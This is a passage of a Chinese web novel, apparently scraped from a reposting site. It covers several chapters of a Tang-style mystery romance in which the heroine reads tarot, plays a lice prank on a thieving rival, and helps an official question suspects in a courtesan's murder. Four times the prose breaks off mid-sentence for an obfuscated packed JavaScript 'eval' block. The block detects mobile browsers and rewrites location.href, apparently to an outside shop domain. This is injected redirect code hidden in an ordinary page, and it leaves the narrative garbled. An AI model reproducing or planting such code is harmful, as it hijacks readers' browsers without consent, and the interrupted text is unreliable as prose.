“原来如此,我早该想到的。”薛岳不禁露出了茅塞顿开的神情,随即飞快站起身。 温女萝根本来不及阻拦,眼睁睁看着他奔向琼楼小筑,还没一盏茶的功夫,又垂头丧气地回来。 薛岳疑惑道:“秦姑娘家里不太好,嫂子重病,还有三个侄儿要养。我给她送钱,她为什么不要?” “钱债易还,情债难偿。正应了我方才说的,人家秦姑娘不想跟你扯上关系。”温女萝深深看他一眼,突然凑近了些,“薛大哥,要不要算算未来三个月的关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486321|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进展?” 薛岳终于察觉到一丝不对劲,身子往后仰了仰,拉开两人之间的距离:“你想干嘛?” “沈大人为什么生病?”温女萝开门见山。 薛岳面露难色:“世子爷吩咐不能说。” 温女萝没有再追问,自顾自地抽起了牌:“哎呀,怎么是战车。如果秦姑娘身边出现新的桃花,不知道薛大哥还有没有机会。” 薛岳抬眼望天,一副事不关己的样子,可耳朵支棱得比兔子还高。 温女萝继续加大马力:“权杖九的正位,代表永不放弃。尽管过程艰难,薛大哥依然苦苦坚持,就是不知道这结果能否尽如人意。” 薛岳听得心中七上八下,牙一咬,心一横,将事情经过和盘托出,说完便有些急不可耐:“卯君姑娘,我和秦姑娘会怎样?” “权杖八。”温女萝开始收拾东西,回答言简意赅,“露水情缘。” 薛岳顿时又气又急:“你怎么这样?要像方才那样讲清楚说明白。” “可以。”温女萝摊开右手掌心,送至他面前,语气冷淡非常,与刚才判若两人,“加钱。” · 三月二十二,是个雨天。 温女萝一大早就爬起来,脑子迷迷糊糊的,眼睛也有些睁不开。 沈大头告假三日,算算时间,今天该回京兆府了。 就像月亮始终围绕地球运转一样,她也得跟着领导的时间走。 官绿捧着一只荷包上前,双手颤颤巍巍,仿佛捧的是一枚炸弹:“姑娘,真要带这个过去?” “真的。”温女萝点点头,表示确认。 官绿替她把荷包系在腰间,动作小心翼翼,口中不停嘱咐“姑娘小心”、“千万要小心”。 温女萝全然不在意,上下马车时仍旧如往常那样干脆利落。外头大雨滂沱,她今天整了一套蓑衣,头戴斗笠,脚踩油鞋,一路行至非非堂,浑身上下半点没湿。 沈京墨不在。 温女萝在屋子里转了几圈,眼看雨点变小,撑开一把油纸伞,往土地祠而去。 秦雅颂盘腿坐在供桌上,四十个土地再加一个薛岳,齐刷刷盯着她吃烧鸡。 温女萝暗自腹诽:大清早吃这么油,也不怕腻得慌。 她轻轻抚了抚腰间荷包,出声询问:“看见沈大人没有?我这还有些巧克力,正好拿给他。” 秦雅颂扫过来一眼,那眼神里似乎藏着什么东西,一闪而逝。 薛岳目不转睛地盯着她,根本没空理会温女萝的小动作,随口回复一句:“大人今早进宫领赏,要到下午才回来。” 随着王二的落网,那些被关在地窖里的孩子,全都找到了家人。其中有一名七岁的小丫头,乃是寿春郡主的千金。寿春郡主为表感谢,进宫请安之时,当着内外命妇的面,将此事宣扬开来。宫外素来紧跟宫内风向,短短两天时间,沈京墨在长安百姓口中,已然变成青天大老爷再世,要不怎么能一眼就看出拐子的猫腻,更有甚者,将这段小小的插曲,改编成话本子。 来时的路上,温女萝顺手买了一本,趁着眼下无事,便坐在案前翻看起来。 雨点淅淅沥沥,看着像是要停了,一下子又忽然变大,砸在非非堂的屋檐,发出噼里啪啦的声响。 温女萝忍不住埋怨:“沈大人病中初愈,陛下怎么都不心疼他。” 话音甫落,外间传来一阵欢呼。 “沈大人回来了!” 14. 014 沈京墨立在廊下,隔着雨帘看见温女萝从非非堂冲出来,往前跑了两步又飞快冲回去,再出来时,手里撑着一把油纸伞。 沈京墨便笑了笑,正要开口说些什么,一众衙役涌上前,瞬间将他围得水泄不通。 唐天杰手里拎满大包小包:“沈大人,这些是孙娘子还有其他孩子家里送来的,感谢大人救命之恩。” 周颜可凑过来:“前些日子沈大人生了病,属下的娘做了一副护膝,希望借此提醒大人保重身体。” 又一人道:“还有我爹,听说沈大人请大家吃橘子,叫我拿些家里种的瓜果送给大人。” …… 回廊下热火朝天,衙役们七嘴八舌。 沈京墨的目光穿过人群,落在中庭的温女萝身上,她撑着油纸扇,孤零零地站在橘子树前,眉眼似乎弯了弯,朦朦胧胧看不真切。 正午的时候雨停了,天也放晴,太阳散落一片金光,映得橘子树鲜翠欲滴。 非非堂内,温女萝低头整理大家送的礼物,时不时抬头朝沈京墨眉开眼笑,笑得得意洋洋:“我就说了嘛,大人怎么会不招人喜欢。” 她换了一身干净衣裳,唯独头发还有些湿,几缕青丝沿着下颌蜿蜒,黏在白皙的脖颈间。 沈京墨喉结微动:“今天衙门无事,可以早些下值。” 温女萝放下手中的瓜果,两步走到他身边,拉着他的衣袖,撒娇一般地摇了摇:“沈大人,你真是个好官。” 沈京墨“嗯”了一声,然后起身道:“吃了饭再走。” 他还没吃,需要人挑菜。 膳馆里头破天荒地坐满人,隔着走廊都能听见喧哗之声。 “……本官看你肥头大耳,想必平时没少吃肉……” “……谁家孩童不是满街乱窜,此间喧嚣不止,如何能够安睡……” 唐天杰与周颜可两个一唱一和,将当日情形演示得惟妙惟肖。 等众人笑过,唐天杰主动表态:“沈大人是个好官,我愿意追随他。” “正主又不在,表什么忠心呐。”周颜可玩笑似地给了唐天杰一拳,“咱们不过是衙门捕快,上头发了话,咱们便听命行事,不必管秦雅颂。” “说的好!咱们又不是小女子,用不着抱团取暖。” “极是极是。” …… 薛岳越听脸色越难看,急忙重重一声咳嗽:“光闲聊不吃饭,这是要做什么!” 众人纷纷起身打招呼:“沈大人好!” 周颜可尚未及冠,脸上挂不住事,那天前往渭县时还老大不情愿,这会儿看着沈京墨,眼中满是敬仰:“沈大人这边坐。” 温女萝抬眼一望,好家伙,靠近窗台的那张餐桌被擦得闪闪发亮,俨然变成沈大头的专座。 沈京墨走过去坐下。 下一瞬,四周仿佛被按下静音键,众人沉默用饭。 温女萝深觉诡异,便大着胆子询问:“沈大人,为什么你来了大家都不讲话?” 沈京墨抬手指了指清蒸多宝鱼,示意她专心挑刺,随即目光环视一众衙役,道:“各位请随意。” 气氛重新热闹起来。 温女萝一边处理鱼刺,一边偷瞄沈京墨。 她严重怀疑,这位京兆府少尹先前因为被人轻视,才会立下食不言的破规矩。 摩羯座,可孤芳自赏,可逢场作戏,但不可被人以为无用无能。 沈大头年纪轻轻就身居高位,很多人以为他是靠裙带关系,直到宋安然一案,他不畏皇权,既惩治了凶手,又保全皇家体面。再到孙娘子,他奏请陛下督促各地官府严格落实扶孤条例,京兆府内孤儿寡母的组合不算少,想来收服了许多人心。 想到这里,温女萝情不自禁地称赞了一句:“沈大人,你真是个好官。” 沈京墨皱起眉头,似乎有点烦的样子:“本官知道,请你把嘴闭上。” 话音才落,馆内再次陷入诡异的沉默。 门口传来一阵脚步声,秦雅颂带着几名衙役走了进来,目光四下扫了一遍,冷哼一声,往东南角的空桌走去。 “沈大人好。”那几名衙役想要过来问好,却被秦雅颂甩了个眼刀子,连忙低下脑袋。 温女萝垂眸看向自己腰间,官绿准备的荷包已经不在那里。她俯身凑近,冲对面的男人眨眨眼儿:“大人等着看好戏。” 四目相对之际,沈京墨唇角微微上扬,眼底漾开一丝温柔:“你可知府尹大人姓甚名谁?” 温女萝面露茫然,摇头说不知道。 沈京墨一字一顿地道:“姓秦,单名一个煦字。” 温女萝瞪大了眼:“他跟秦雅颂该不会是——” 仿佛知道她心里想什么似的,赶在她说出“父女”之前,沈京墨挑明了二人的关系。 “兄妹。” 温女萝的眼儿瞪得更大了:“亲的还是表的?” “一母同胞。”沈京墨毫不留情地浇灭她最后那点幻想。 温女萝的小脸登时皱成一团,上半身再次往前倾了倾,离他更近了一些:“论品级,秦大人比沈大人官高一阶。那论后台,大人是不是更胜一筹?” 沈京墨鼻尖轻嗅,闻到了女孩子身上淡淡的药香。 奇怪的是,非但不令人讨厌,反而觉得清心舒适。 “你以为呢?”他低下头,夹了块鱼肉送入口中,慢慢嚼着,仿佛在掩饰什么。 “当然是我家大人最大。”温女萝回答,语气半是试探半是肯定。 沈京墨又笑了,笑得很轻,仿佛微风吹过湖面,荡起一圈涟漪。 明明什么也没说,什么也没承诺。可温女萝莫名觉得安心,手上动作加快几分,挑刺挑得愈发利索。 好在多宝鱼刺少,刚处理干净,就听见秦雅颂爆出一声尖叫,心里暗暗道:“活该!” 秦雅颂猛地从板凳上跳起来,整个人犹如帕金森患者一般,拼命抖着衣裳,一只只虱子簌簌落下,在地上爬来爬去。几名衙役坐在她旁边,先是愣住,随即像被传染了似的,一个接一个跳起身,手忙脚乱地拍打身上。桌子上的饭菜跟着糟了秧,汤汤水水里爬满虱子的尸体,偶有几只活的,还在垂死挣扎。 温女萝捂着嘴,笑得直不起腰。 她从薛岳口中得知秦雅颂有偷窃癖,便在那枚荷包里整整塞了八百只虱子,还是饿了两天的虱子,可不得见了人就咬。 温女萝笑过一阵,转头发现沈京墨不知什么时候不见,她愣了一下,看着对面的空位,心里忽然空落落的。 “狗卯君,是你害我!”秦雅颂满脸怒气地冲过来。 温女萝抬起下巴,拿眼角斜睨她:“秦雅颂,你管不住自己的手,我不怪你,可你不该取而不还。那是我安身立命的东西,你有没有想过我该多着急啊?我问你的时候,你是怎么骗我的?难道你都忘了么?” 初来这个世界,她很害怕,不像那些穿越文里的大女主,“温女萝”没有显赫的家世,没有好用的金手指。 好色的爹、病重的娘、吝啬的嫡母和贫穷的她。 她甚至连自己的丫鬟也保不住。 是塔罗牌给了她一线生机。 温女萝无比庆幸穿越之前取了快递,整整十副塔罗牌,足够用到地老天荒。 是以,她说着急啊什么的,全是骗人。 “我不是还给你了吗?”秦雅颂说话吞吞吐吐,脸上挂着几分心虚。 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486322|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女萝闻言更加生气,白生生的小脸涨得通红:“不是你还给我,是沈大人帮我要回来的!京中谁人不知,沈大人身娇体弱,你怎么好意思欺负一个病人?你有没有人性,实在是丧尽天良!” 这是秦雅颂曾经指责沈大头的话,如今原原本本地还给她。 就当是帮沈大头出一口气。 秦雅颂浑身又痒又疼,更兼众人指责,捂着脸哭着跑了出去。刚到外头,迎面撞上沈京墨负手立在廊下,她怔了怔,用极小的声音对他的背影说了句:“对不起。” “秦姑娘!”薛岳明显想要去安慰佳人,却不好意思丢下主子,“世子爷……” 沈京墨始终低垂眼睫,声音平静无波:“薛岳,你违反了我的命令,我不希望再有下一次。” 薛岳原本以为至少要领二十板子,没想到居然逃过一劫,当即松了一大口气,倒将秦雅颂抛在脑后。 “沈大人!” 耳边听得温女萝的声音,沈京墨缓缓转过头,看着她提起裙摆,朝自己飞奔而来。 温女萝站在那里,眼睛闪闪发亮:“大人是不是在等我?” 沈京墨答非所问:“本官需要查阅案卷,你从旁做下记录。” “好呀好呀。”温女萝自然地跟在他身后,仿佛完全忘了提早下班这回事。 · 夜半时分,窗外更阑人静。 温女萝忽然睁开眼,一下子翻身坐起,咬着牙懊悔道:“这得算加班,双倍工资。” 不等她重新躺下,门外传来一阵急促的脚步声,紧接着官绿的声音响起:“姑娘,留春楼死人了!” 平康坊是长安城内有名的青楼聚集之地,依照妓女的等级,又有北曲、中曲、南曲之分,而留春楼是整个南曲最负盛名的青楼。 楼里的头牌苏妙儿,既是平康坊的花魁,又是今晚的死者。 马车内,沈京墨简单介绍了下案情。 现在不是上班时间,他没有穿官服,一身暗紫色长衫,外头披了一件白色大氅,雪白的狐狸毛蓬松且柔软,摸起来暖乎乎的。 温女萝玩着毛毛,没将他的话听进去。 “十七姑娘,你说本官该如何是好?”沈京墨偏转过头,直直地看着她。 这么近的距离,他甚至能听见对方的呼吸声,一下一下,像是踩在自己心上。 温女萝毫无所觉,手上一用力,扯下来一小撮狐狸毛,连忙攥紧拳头,塞到自己袖子里。 “不就是查案吗?有我在,小事一桩。” 苏妙儿整晚都待在留春楼,有那么多双眼睛盯着,锁定嫌弃人并非难事。她要做的,不过是握一握苏妙儿的手,看清楚谁是凶手,案子便可了结。 “没有了秦雅颂,大人还有我。”温女萝骄傲地抬起下巴,像只得意的小孔雀,“我比她好用。” “哦。如此最好不过。”沈京墨点了点头,随即瞥她一眼,“倘若无用,京兆府大狱欢迎你。” 白天快要散衙的时候,秦煦主动走进非非堂,他的意思很明白——因为下午那场虱子风波,秦雅颂和岑卯君只能二选一。 一个是记名捕快,一个是替补仵作,依沈京墨的想法,都不选也是可以的。 对于温女萝而言,当不了捕快就要去坐牢。即便她早先做好了心理准备,可康庄大道摆在眼前,谁会想去走泥泞小路? “大人。”温女萝瞪大了眼睛,可怜兮兮地望着沈京墨,“万一我去坐牢,大人会来探监吗?” 马车缓缓停在路边。橘黄色的灯光透过轻纱帏帘,落在男人脸上,那张脸美得惊心动魄,却冷得像千年不化的寒冰。 沈京墨看也不看她,无情地吐出两个字。 “不会。” 15. 015 平康坊照例昼夜不歇,放眼望去,两排灯笼从街头延绵至巷尾,灯火连成一片,将整条长街照得亮如白昼。 留春楼亦是灯火辉煌,唐天杰带人封锁了现场。 楼梯尽头,立着一名青年男子。男子身穿松绿长衫,头戴羊脂玉冠,瞧着与沈京墨差不多年岁,容貌稍逊几分,却也生得长眉修目,身姿挺拔清隽。 “既白,你怎么才来?”顾宴礼语气嗔怪,也不等对方回应,便拽着他的袖子往最东边的卧室去。 苏妙儿作为花魁,自然拥有一些特殊待遇。比如说住处,五楼整层专供她待客饮宴、日常起居,未经允许,旁人不得擅自入内。 温女萝转了两圈,发现这一层是标准的四叶草户型。 以鸳鸯厅为中心,东西两边分别是楼梯间和浴堂,北面三间从左到右依次是茶水间、客房、净室。南面三间一应打通,只在当中以圆光罩隔断,西间做了琴房,中间做了书房,东间是卧室——也是发现尸体的地方。 床上挂着浅黄色绣粉白桃花的帐子,此刻轻纱层层垂落,将内里光景遮住一大半。 沈京墨走到床边,抬手把幔帐撩起,挂在旁边的牛角钩。 床榻之上,苏妙儿静静躺着,面色红润,神色安详,丝毫不像已死之人。她的心口插着一把匕首,短刃完全没入肉里,只留刀柄在外。巧合的是,那刀柄竟与桃红色春衫上的睡莲花纹融为一处,若不细看,甚至发现不了血迹。 “这人真好看。”温女萝蹲下身子,凑近苏妙儿的脸。浓烈的酒气扑面而来,熏得她眉头一皱,下意识往后仰了仰。 随即,她轻轻握住那只搭在床沿的玉手,口中还念道:“漂亮姐姐,我一定帮你找出真凶。” 入眼是五彩斑斓的黑,意识仿佛陷入沼泽深处似的,睁不开眼,也醒不过来。耳边响起一阵嘈杂,像是有人在翻箱倒柜,突兀的声响将她从那片混沌中拽了出来。 苏妙儿缓缓睁开眼,但见轻纱帐外有个模糊不清的人影晃动:“阿福?” 来人掀开纱帐,一段甜香扑鼻,她只来得及看清一抹松绿,复又昏睡过去。 也不知过了多久,苏妙儿再度睁开眼。这回是个身穿杏黄衣裳的女子将她推醒:“姑娘,顾侯问你玉放哪了?” 苏妙儿困得厉害,眼睛要闭不闭,迷迷糊糊地重复了两声:“枕头,枕头。” 话音未落,她又睡了过去。 置身苏妙儿的视角,温女萝感觉有人将手伸到枕头底下,旋即心口传来一阵剧痛,她用力将眼睁开一丝细缝,瞧见一条宝蓝色的人影飞快离去。 光明不期而至。 温女萝目瞪口呆,这就完了?! 其余人等皆被请到鸳鸯厅问话,卧室里只有她和沈京墨,说话用不着顾忌。 听完温女萝的讲述,沈京墨瞥她一眼,声音冷淡至极:“鸡肋。” 食之无味,弃之可惜。 温女萝低下头没有反驳,心里却暗暗琢磨,沈大头是说她的能力鸡肋,还是觉得她这个人本身没什么用处? “凶手肯定是最后那个穿蓝衣服的,我去跟他们握一握手,很容易就能找出来。”她有点急躁地说。 沈京墨垂眸看向死者。今天是苏妙儿最后一次接客,往日相熟的恩客大多过来捧场,单单是穿宝蓝色衣裳的男子,没有十个也有八个。 “不可。”他的语气干脆利落,“本官不希望身边的人被怀疑是变态。” 温女萝扑过去,一把抱住男人的大腿:“大人,我不想坐牢呀!” 沈京墨嘴角抽搐了一下,弯腰去扒她的手,扒了好几下才扒开:“不是早就说过了,本官不会让你去坐牢。难道在你心里,我的话还不够分量?” 温女萝坐在地上,仰头望着他。那张冷淡疏离的面容,此刻显露出不耐的神情,仿佛犯了厌蠢症。 沈大头说话一直走的是极简风。他说“不会”,既是不会叫她坐牢,又有坐不了牢自然不必探监的意思。 想明白这些,温女萝欣喜地站起身:“大人真是的,吓死我了。” “连身边的人都护不住,本官颜面何存。”沈京墨瞥一眼心安理得的女孩子,突然转了话锋,“本官不喜欢废物。倘若十七姑娘无甚用处,却也不必蹲大牢,我亲自送你去工部。” 比起砌城墙挖河沟,温女萝当然更想留在沈大头身边,还有二百两的月俸可领。 何况这有没有用,不就是他一句话的事? 她攥住沈京墨的衣袖,捏在手里扯来扯去:“大人,不要赶我走。” 声音软软糯糯,听着竟有几分撒娇的意味。 沈京墨轻咳一声,摆出一张严肃脸:“没有本官允准,不许随便摸别人的手。” 这个容易,温女萝乖巧点头。 “现在怎么办?要去请仵作吗?”她问。 京兆府自然不止秦雅颂一个仵作,但是温女萝白天刚和人家吵了一架,现在刻意避开,倒像是对人不对事。 “不必。”沈京墨应声作答,语气毫不迟疑,“死因是利刃刺中心脏,心脉破损而死,伤口宽约一寸半,出血量极少,推测凶器是现场发现的匕首,死亡时间——” 他顿了顿,目光投向呆站着不动的温女萝,忽然冷笑一声:“现在什么时辰?” “寅初初刻。”温女萝反应飞快,连忙从怀中掏出小本本和竹管笔,将方才那番话悉数记录下来。 沈京墨不再看她,转身径直往外走:“死亡时间推算是子时左右,询问相关人等的不在场证据,尽快排查出嫌疑人。” “是。” 温女萝一路小跑,找到唐天杰吩咐下去。 鉴于四叶草的特殊设计,不管去往哪个方向都必须经过鸳鸯厅,故而,想要说谎并不容易。经过初步问询,没有不在场证明的有四人;接下来,将会按照先后顺序,在客房内对他们进行单独的二次审讯。 首先进来的是徐五福,穿着一件杏子黄半臂,下头蜜合色裙子,年纪才得十三岁,是专门伺候苏妙儿的丫鬟。 “这丫头是在徐州买来,从前是位官家小姐,家里获了罪,沦落到我这里……”鸨娘絮絮叨叨地介绍。 案发时严妈妈在一楼招揽生意,拥有充分的不在场证明,沈京墨请她上楼旁听。 “行啦!”温女萝没等严妈妈说完,不客气地出声打断,转而询问徐五福,“你找苏妙儿是为了什么事?” 徐五福脸颊低垂:“妙儿姐姐喝醉了酒,我扶她进屋休息,约莫待了一刻钟。出来的时候,有客人问时辰,我看了水钟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486323|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好是子初三刻。” “鸳鸯厅距离卧室不足百步,一刻钟似乎有些久?”温女萝自以为抓住漏洞,朝沈京墨眨了眨眼睛,眼里满是藏不住的得意。 徐五福语速平缓,一字一句都像是斟酌过,透着几分从容不迫:“妙儿姐姐喜欢逞强,不想让人看见她呕吐的样子。我在屋里清理了一番才出来,中途有去过茶水间接热水,七巧可以替我作证。” “七巧专门伺候茶水,和五福同一批来楼里。”严妈妈从旁解释了一下,然后赔笑道,“小大人尽管去问。” 这称呼新鲜,温女萝听着顺耳点了点头。 小大人当然不用亲自出马,她喊一声唐天杰,附耳交待两句。 “苏妙儿是不是有一块特别的玉?”温女萝又问。 徐五福猛地抬起头,面色明显僵了一下:“妙儿姐姐有许多玉饰,不知小大人指的是哪一样。” 温女萝心里泛起嘀咕。 根据苏妙儿死前情形,“玉”是被身穿黄衣的女子给拿走。徐五福正好符合这一点,可她是第一个进去案发现场又第一个出来,与自己看见的顺序对不上号。 正想着,外面有人敲了敲门。 是唐天杰。 “徐七巧作证,徐五福多次与她讲小话,责怪苏妙儿谎话连篇,将那些公子哥儿哄得团团转。而且徐五福手里有一块玉牌,被苏妙儿抢了去——” 话还没说完,徐五福已经白了脸,主动开口交待实情:“严妈妈方才只说对一半,其实后来,陛下特旨起复了父亲。我听见消息,托人带口信求他赎我回去。我有一枚梅岭玉雕成的玉牌,打小贴身佩戴,也请刘哥一并带了去。毕竟分别数年,父亲未必肯轻信。却不想父亲见了玉,竟说他女儿早就死了。” 眼泪滚滚而落,徐五福控制不住地哭起来。 温女萝忍不住长叹一口气。 昔日的官家小姐,一朝变成青楼娼女,已然是人生巨变,好不容易燃起希望之时,又被抱以厚望的家人抛弃。这样的痛苦与绝望,自己前世不是也经历过吗? 沈京墨眉头皱起,借着宽大的衣袖掩映,悄悄捏了捏温女萝的掌心。 温女萝立刻醒转,对着徐五福正色道:“继续说。” 不知为何,徐五福抬眸瞪了她一眼,然后才拿帕子拭泪。 “刘哥将这些告诉我的时候,碰巧被妙儿姐姐撞见,妙儿姐姐听说了我的遭遇,提出要买我的玉,正好我也不想再看见,便送给了她。谁知妙儿姐姐拿了玉,凭空编出一段故事来,说她原是大户人家的小姐,幼时不慎在扬州走丢,辗转寻亲多年,只盼着早日归家。” 说到这里,徐五福发出一声冷笑。 “朱二公子信了她的鬼话,在家里闹腾好一阵,哭着喊着要替她赎身。可笑敬国公府何等门庭,如何会让娼女登堂入室。” 温女萝转头看向严妈妈,目光中带着询问。 严妈妈不以为意地笑笑,然后举了个不太恰当的例子:“请问小大人,这公主卖笑和农女下海,难道会是一样的价钱?且不论公主容貌如何,至少小大人一听就来了兴趣。” “对哦。”温女萝觉得大有道理。好比那些明星爱豆,一个接一个地树立虚假人设,塌房塌得猝不及防,吃瓜都赶不上热乎的。 16. 016 在徐五福出去之后、杨絮絮进来之前,一直保持安静的沈京墨忽然开口:“妈妈是盐城人氏?” 严妈妈愣了下,然后笑眯眯地回了一句:“大人说的是。” “苏妙儿可曾改过姓?”沈京墨又问。 严妈妈脸上笑意更盛:“大人真是聪明绝顶。妙儿从前姓杨,和杨絮絮并称为留春二艳,她当选花魁之后,不肯让杨絮絮沾光,便改了姓。她们原本就是孤女,早不记得自个儿来历,姓杨姓苏又有什么要紧。” 温女萝不明就里,把记录证词的小本本翻了三遍,硬是没看出来一点端倪,正要悄悄询问沈京墨,唐天杰领着杨絮絮进来。 杨絮絮身穿一件银红色对襟春衫,内里是同色的齐胸襦裙,衣领开得很低,露出一片白花花的雪脯。随着行走,胸前那两团起起伏伏,将唐天杰瞧得直了眼,险些和严妈妈撞上。 啧,大“凶”之兆。温女萝忍不住好奇,转头去瞧沈京墨的反应。 沈京墨坐在椅子上,面色平静无波,看向杨絮絮的眼神就跟看一件可有可无的摆设似的,没有任何停留。 仿佛觉察到了她在打量自己,他抬眸飞过来一眼,像是提醒,又像是警告。 温女萝一个激灵,飞快把表情调成严肃模式,厉声问道:“杨絮絮,你是什么时候去找苏妙儿?又是为了什么事?” 杨絮絮看也不看她,两只眼睛直往沈京墨身上扑,一边“暗”送秋波,一边娇滴滴回话:“奴家也记不清。那时候看见阿福板着脸出来,奴家略坐了一坐,便起身去寻妙儿。过了今晚,妙儿就要随顾侯离开,奴家是去找她说些体己话。” 温女萝听着,又低头看了看手里的小本本:“有证词表明,你与苏妙儿多次发生争执,甚至当众掐过架。你心里清楚,到了明天,苏妙儿便不在留春楼,岂不是表示杀她的时机只剩下今晚?” 最后一个字落定,沈京墨目露赞赏。 女孩子似乎比他想的,还要聪明一些。 杨絮絮捏着绣了宝相花纹的帕子,泪珠大颗大颗往下坠:“奴家跟妙儿是同乡,从小一起长大,眼看她要走了,心里倒有些舍不得……” 美人垂泪,无论多么铁石心肠的男子,心也该化了。 可惜温女萝是女儿身,并不吃这一套:“在场的男宾当中,有一位是你的常客,整晚都在关注你的一举一动。据他所言,你在凶案现场停留超过一刻钟,苏妙儿当时醉得不省人事,只怕说不了体己话,莫非你一人搁里头唱独角戏?” 杨絮絮怔了怔,很快恢复镇定:“其实……奴家是去找妙儿拿东西。奴家自幼与双亲走散,对小时候的印象只剩下母亲给的玉牌。妙儿喜欢开玩笑,捡了奴家的玉牌据为己有,还将奴家的故事安在她自个儿身上。从前如何奴家不与她计较,眼下她要走了,是不是该把玉牌还给奴家?” 温女萝暗暗摇头。杨絮絮刚才在伤怀姐妹情深,这会子又换了说辞,真是翻脸比翻书还快。 而且,玉牌不是徐五福的吗?怎么又变成了杨絮絮? 她感觉自己的cpu都快要烧了。 倏尔,背后仿佛有一道犹如冰刀般的目光射过来,温女萝控制不住地打了个寒战,当即继续往下追问:“那苏妙儿是否有将玉牌归还于你?” 杨絮絮点了点头,又缓缓摇头:“奴家去的时候,妙儿睡得很沉。奴家等了半晌,不见她转醒,回头一看——”说着,她对温女萝娇俏地笑了笑,“小大人猜怎么着?那玉牌就在妆台上放着,奴家便自己拿了。” “东西呢?”温女萝伸手讨要,“给我瞧瞧。” 杨絮絮依然巧笑莞尔:“奴家放在自己屋子,这就下楼去取。” “杨絮絮!”温女萝瞬间冷脸,声音更拔高几分,“从发现尸体到京兆府赶来,顾宴礼一直守在楼梯间,不准任何人进出。你根本没有下过楼,玉牌此刻就在你的身上。” 闻言,杨絮絮终于不笑了:“听闻京兆府办案需要保留证物,我只是不想得而复失。小大人要看,拿去看就是。”说完,她抬手伸向胸前,从白花花里掏出来一块小小的玉牌,颜色青绿,质地细腻,表面光滑,不见任何纹饰。 温女萝接过来时,还是温温的。她只能瞧出来价格很贵,瞧不出是什么玉。 沈京墨扫了一眼玉牌,淡淡道:“这是和田玉,价比金贵。” “沈大人好眼力,奴家真佩服。”杨絮絮的目光黏在他身上,眼里是掩不住的崇拜。 温女萝见这般情形,忽然理解了娼女的好处,既能提供陪伴价值,又能提供情绪价值,可不得将男人吃得死死的。 等人走干净了,沈京墨靠上椅背,眉心微微拧起,透出几分倦意。乌黑的眼睛低垂着,让人看不透他在想什么:“你有什么想法?” 温女萝刚坐下来,正啃着指甲,闻听此言,开始认真分析。 “徐五福和杨絮絮的证词存在两部分交集,一是身世,二是玉牌。可以肯定的是,苏妙儿编造了自己的身世,而且手里有一块不属于自己的玉牌——至于真正的主人是谁,暂时还不清楚。所以,在徐五福和杨絮絮之间,有一个人在说谎。我倾向是杨絮絮,大人以为呢?” 抛开杨絮絮的异样不提,徐五福所说的那些事很容易找到相应的证据,她父亲如今在徐州做官,有没有买过玉、在哪买的,一问便知。 可恨没有手机,不然就是打个电话的事。 温女萝扼腕叹息。 “杨絮絮。”沈京墨伸出手,指尖轻轻点了点几案上的那块玉牌,“她不认识梅岭玉。” 温女萝眨了眨眼睛。 果然,沈大头刚才在骗人。 梅岭玉产自江苏溧阳,如果杨絮絮当真如她所表现出来的那般珍视,不可能不知道玉牌的来历。 幸好没有手机,否则百度一下她就知道。 敲门声再次响起,这次进来的是朱时宜,敬国公府二公子。 他穿着一件宝蓝色绣八仙花的软绸衣裳,相貌寻常,神色哀伤,落座时眼底闪过一抹心虚。 温女萝压下心头诧异,道:“朱二公子。三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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朱时宜拿手帕按了按脑门上的汗珠,这才长出一口气:“我进屋的时候,看见妙儿胸前插了一把匕首,想跑出去找人帮忙。可是,那把匕首是我送给妙儿防身用的,再加上前两天与她发生了不愉快……我怕官府疑心到我身上,这才……” 温女萝看他什么都表现在脸上,已然相信朱时宜不是凶手,也正因为这样,她才更加寒心。 四个嫌疑人里边,只有朱时宜穿着宝蓝色,可以确定苏妙儿最后看见的身影就是他。 “朱二公子,你有没有想过,”温女萝低着头,声音止不住地发颤,“苏妙儿当时还没有死。” 从苏妙儿被刺到朱时宜进屋,前后相差的时间极短。如果朱时宜没有逃走,苏妙儿未必等不到活下来的机会。嘴上说着愿意付出一切,实则事到临头只顾自己。 朱时宜整个人怔住,接下来无论问什么,都是一副失了魂儿的模样,完全听不进耳朵。 唐天杰送了他出去,顺手将门给阖上。 沈京墨侧过脸,扫了温女萝一眼,看着她垂头丧气的模样,神色微动:“苏妙儿是即刻毙命,神仙来了也救不活。” 如同一只烦躁的猫,温女萝突然炸了毛,凶狠地瞪向男人,仿佛下一秒就要挠上去:“我本就是多愁善感的年纪,伤感一下怎么了!” 沈京墨:…… 气氛一时陷入沉寂。 良久之后,沈京墨冷冷地说:“伤感完了吗?” 